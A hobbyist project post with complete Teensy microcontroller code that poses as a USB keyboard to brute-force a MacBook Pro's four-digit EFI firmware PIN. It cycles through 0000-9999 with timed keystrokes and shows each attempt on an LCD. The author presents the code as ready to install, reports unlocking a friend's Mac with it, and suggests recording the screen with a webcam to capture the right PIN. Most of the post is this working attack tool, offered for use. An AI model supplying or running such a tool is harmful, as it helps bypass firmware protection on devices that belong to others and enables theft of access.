Automated brute force PIN lock for a MacBook Pro EFI

This is taken from http://orvtech.com/atacar-efi-pin-macbook-pro.html and modified by me to show the process in a display screen 16 x 2 LCD.

The code in the Teensy basically will play automated external keyboard that way introduce combinations of 0000-9999 the only problem that we will be attentive to when the Mac log in, to solve this problem I recommend using a webcam to recording and then see the correct combination.


The code is ready to be installed I used the Teensy 3.1 and I tried to unlock a Mac from a friend and it worked perfectly.

Some photos of the process I take and discuss any concerns.

#include <usb_keyboard.h>

#include <LiquidCrystal.h>

LiquidCrystal lcd(23, 22, 16, 15, 14, 13);

const int ledPin = 13; // choose the pin for the LED

int counter = 0;

int fakecounter = counter;

char pin[]="xxxx";

void setup() {

  lcd.begin(16, 2);

  lcd.print("CODE INPUT");

  pinMode(ledPin, OUTPUT); // declare LED as output

  delay(10000);

}

void loop(){

  keyboard_modifier_keys = 0;

  if (counter <= 9999){

    delay(8000);

    digitalWrite(ledPin, LOW);

    delay(5500);

    digitalWrite(ledPin, HIGH);

    sprintf(pin, "%04d", fakecounter);

    //sending first digit

    Keyboard.press(pin[0]);

    delay(450);

    Keyboard.release(pin[0]);

    delay(420);

    //sending second digit

    Keyboard.press(pin[1]);

    delay(398);

    Keyboard.release(pin[1]);

    delay(510);

    //sending third digit

    Keyboard.press(pin[2]);

    delay(421);

    Keyboard.release(pin[2]);

    delay(423);

    //sending forth digit

    Keyboard.press(pin[3]);

    delay(430);

    Keyboard.release(pin[3]);

    delay(525);

    //sending enter

    Keyboard.press(KEY_ENTER);

    delay(305);

    Keyboard.release(KEY_ENTER);

    lcd.setCursor(0, 1);

    lcd.print(pin[0]);

    lcd.setCursor(1, 1);

    lcd.print(pin[1]);

    lcd.setCursor(2, 1);

    lcd.print(pin[2]);

    lcd.setCursor(3, 1);

    lcd.print(pin[3]);

    

    

  }

  

  //reached 4 digit PIN max value

  if (counter > 9999){

    for (int blinkies = 0; blinkies < 8; blinkies++) {

      digitalWrite(ledPin, HIGH);

      delay(20);

      digitalWrite(ledPin, LOW);

     delay(200);

    }

    delay(6000);

  }

  ++counter;

  fakecounter = counter;

}

For beginners this is the schematic for the LCD Display, only remember for Teensy the pinout numbers are different.